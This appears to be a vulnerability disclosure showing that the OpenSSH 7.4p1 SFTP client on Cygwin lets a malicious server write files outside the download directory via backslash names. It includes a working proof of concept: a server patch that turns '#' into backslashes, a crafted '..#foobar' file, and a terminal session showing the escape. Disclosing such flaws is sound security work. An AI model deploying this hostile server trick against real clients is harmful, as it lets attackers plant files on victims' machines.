OpenSSH on Cygwin: directory traversal in SFTP client

Portable OpenSSH supports running on Cygwin. However, the SFTP client only filters out forward slashes (in `do_lsreaddir()`) and the directory names "." and ".." (in `download_dir_internal()`). On Windows, including in Cygwin, backslashes can also be used for directory traversal. To reproduce: On the server: Patch OpenSSH like this, then build it: ``` --- openssh-7.4p1/sftp-server.c 2016-12-18 20:59:41.000000000 -0800 +++ openssh-7.4p1-patched/sftp-server.c 2016-12-20 15:55:34.980000300 -0800 @@ -1065,10 +1065,11 @@ strcmp(path, "/") ? "/" : "", dp->d_name); if (lstat(pathname, &st) < 0) continue; stat_to_attrib(&st, &(stats[count].attrib)); stats[count].name = xstrdup(dp->d_name); +for (i=0; i<strlen(stats[count].name); i++) if (stats[count].name[i] == '#') stats[count].name[i] = '\\'; stats[count].long_name = ls_file(dp->d_name, &st, 0, 0); count++; /* send up to 100 entries in one message */ /* XXX check packet size instead */ if (count == 100) ``` Ensure that an OpenSSH server is running. Create the following directory structure: ``` user@DESKTOP ~ $ mkdir -p sourceparent/source user@DESKTOP ~ $ touch 'sourceparent/source/..#foobar' user@DESKTOP ~ $ echo foobar > sourceparent/foobar user@DESKTOP ~ $ ``` Now, on the client (Cygwin on Windows 10), build OpenSSH, then recursively download a directory like this: ``` user@DESKTOP ~ $ mkdir destparent user@DESKTOP ~ $ cd destparent/ user@DESKTOP ~/destparent $ ls -la total 4 drwxr-xr-x+ 1 user None 0 Dec 20 16:24 . drwxr-xr-x+ 1 user None 0 Dec 20 16:24 .. user@DESKTOP ~/destparent $ ~/openssh-7.4p1/sftp -r -s /home/user/openssh-7.4p1-patched/sftp-server localhost:sourceparent/source dest Connected to localhost. Fetching /home/user/sourceparent/source/ to dest Retrieving /home/user/sourceparent/source user@DESKTOP ~/destparent $ ls -la total 5 drwxr-xr-x+ 1 user None 0 Dec 20 16:24 . drwxr-xr-x+ 1 user None 0 Dec 20 16:24 .. drwxr-xr-x+ 1 user None 0 Dec 20 16:24 dest -rwxr-xr-x 1 user None 7 Dec 20 16:24 foobar user@DESKTOP ~/destparent $ ``` As you can see, sftp created the file "foobar" outside the specified destination directory "dest".